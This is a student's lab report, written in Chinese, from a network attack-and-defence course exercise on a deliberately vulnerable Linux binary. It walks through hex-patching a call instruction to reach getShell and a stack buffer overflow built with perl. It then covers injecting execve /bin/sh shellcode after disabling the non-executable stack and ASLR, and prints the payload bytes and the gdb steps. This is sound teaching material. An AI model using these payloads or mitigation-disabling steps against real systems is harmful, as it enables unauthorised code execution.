20165315 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解
一、实验内容
本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。但是该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
- 直接修改程序机器指令,改变程序执行流程。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
需要重点掌握的知识点
函数调用过程栈帧变化:
二、实验步骤(有一些主机名为kali是由于我重启过kali,主机名忘记改成姓名拼音了...望老师谅解)
1、直接修改程序机器指令,改变程序执行流程
- 下载目标文件pwn1,反汇编
第12行的"call 8048491 "指令的作用是调用位于地址8048491处的foo函数,对应机器指令为“e8 d7ffffff”,那我们想让它调用getShell,只要修改“d7ffffff”为"getShell"函数地址对应的补码c3ffffff就行。
- 执行如下指令,使main函数调用getShell函数
# cp pwn1 pwn2
# vi pwn2
以下操作是在vi内
1.按ESC键
2.输入如下,将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8 d7
4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq
- 使用
objdump -d pwn2 | more
反汇编,call指令是否正确调用getShell
- 运行修改后的代码,会得到shell提示符,即程序流程修改成功!
2、通过构造输入参数,造成BOF攻击,改变程序执行流
缓冲区溢出攻击原理
main函数调用f函数的栈结构如下图所示:
对buf进行数据拷贝,当0xffffd710覆盖了原来EIP的位置时,f函数在返回时就会将0xffffd710弹出来给EIP,程序根据EIP的地址寻找下面执行的程序,缓冲区溢出攻击成功,得到的结果如下图所示:
- 使用gdb调试,运行后输入
1111111122222222333333334444444455555555
,结果如下图:
显示段错误,eip中存放的指令为0x35353535
,不存在该地址,无法执行。但是只要将11111111222222223333333344444444'5555'5555
中的前4个5所代表的地址改成getshell函数的内存地址,即可实现攻击。
- 通过反汇编得知getshell函数的内存地址为
0x0804847d
- 构造输入字符串。通过perl,使用输出重定向“>”将生成的ASCII码字符串存储到文件input中。指令为
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
通过16进制查看指令xxd查看input文件,发现返回地址已经被覆盖。
- 将input的输入,通过管道符“|”,作为pwn1的输入。指令为
(cat input; cat) | ./20165315pwn1
BOF攻击成功!
3、注入Shellcode并执行
shellcode就是一段机器指令,通常这段机器指令的目的是为获取一个交互式的shell,所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
- 准备工作
首先使用apt-get install execstack
命令安装execstack
# execstack -s pwn1 //设置堆栈可执行
# execstack -q pwn1 //查询文件的堆栈是否可执行
# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
# more /proc/sys/kernel/randomize_va_space //查看地址随机化是否已经关闭
- 构造要注入的payload
两种溢出模式:
(1)构造一个shellcode,指令为perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(2)打开一个终端输入(cat input_shellcode;cat) | ./pwn1
注入这段攻击buf
(3)打开另外一个终端,用gdb来调试这个进程
# ps -ef | grep pwn1 //找到20165315pwn3的进程号
# gdb
(gdb) attach 3686
(gdb) disassemble foo
通过设置断点,来查看注入buf的内存地址
(gdb) break *0x080484ae
//在另外一个终端中按下回车
(gdb) c
(gdb) info r esp
(gdb) x/16x 0xffffd33c
//查看其存放内容,看到了01020304,就是返回地址的位置
根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd340。
(3)将之前的\x4\x3\x2\x1改为\x40\xd3\xff\xff即可实现注入
# perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
# xxd input_shellcode
# (cat input_shellcode;cat) | ./20165315pwn3
注入成功!
三、实验收获
1、实验收获与感想
通过这次实验,我了解了PC平台逆向破解技术,掌握了函数调用栈帧结构、缓冲区溢出攻击技术和shellcode攻击技术,这些技术其实都挺好玩的,学习起来也充满乐趣。
本次实验虽然比较简单,但是过程也出现了很多问题,比如之前共享文件夹的设置没有完全成功,折腾了一番才找到共享文件夹...没有安装32位兼容器的问题也耗费了很多时间来查找...
我特别感谢刘老师和帮助我解决问题的给我同学,让我的实验少花费了更多时间,我之前的学习模式更偏向自己在网上找答案,如果网上解释的不详细或不正确,会造成很大的麻烦(这次的upgrade就让我的kali蓝屏了...差点自闭),现在我发现了询问老师同学会更快更方便~
2、什么是漏洞?漏洞有什么危害?
我觉得漏洞是在程序中存在的缺陷,威胁到系统安全的错误才是漏洞,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
存在漏洞的计算机很容易被病毒、木马、黑客等侵入,导致软件崩溃或者被盗取重要信息,如密码等,破坏了通信的机密性、可靠性、可用性等等。
3、知识点解答:
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
(1)NOP:机器码:90。空指令。
(2)JNE:机器码:75。条件转移指令,如果不相等则跳转。
(3)JE:机器码:74。条件转移指令,如果相等则跳转。
(4)JMP:机器码:E9(Jmp near)EA(Jmp far)EB(Jmp short)FF(Jmp word)。无条件转移指令。
(5)CMP:机器码:38(CMP reg8/mem8,reg8)39(CMP reg16/mem16,reg16)3A(CMP reg8,reg8/mem8)3B(CMP reg16,reg16/mem16)3C(CMP al,immed8)3D(CMP ax,immed16)。比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。
掌握反汇编与十六进制编程器
# objdump -d
:反汇编指令
# xxd
:为给定的输入转换为十六进制的输出
# xxd -r
:将十六进制输出转换为二进制格式
|
:管道,将前者的输出作为后者的输入。
>
:重定向符,将前者输出的内容输入到后者中。
能正确修改机器指令改变程序执行流程
见任务一
能正确构造payload进行bof攻击
见任务三
四、实验中出现的问题
1、完成任务一时出现“无法执行二进制文件”的错误
解决方法:
通过询问老师和同学,该问题的出现是由于没有安装kali的32bit兼容库,导致无法执行32位的文件。
安装兼容库方法请参照学姐的博客
2、安装任务三的execstack时出现如下图错误:
解决方法:
通过查询网络,出现这个问题的原因可能是有另外一个程序正在运行,占用软件源更新时的系统锁。而导致资源被锁的原因,可能是上次安装时没正常完成,而导致出现此状况。
通过输入sudo rm /var/cache/apt/archives/lock
即可解锁。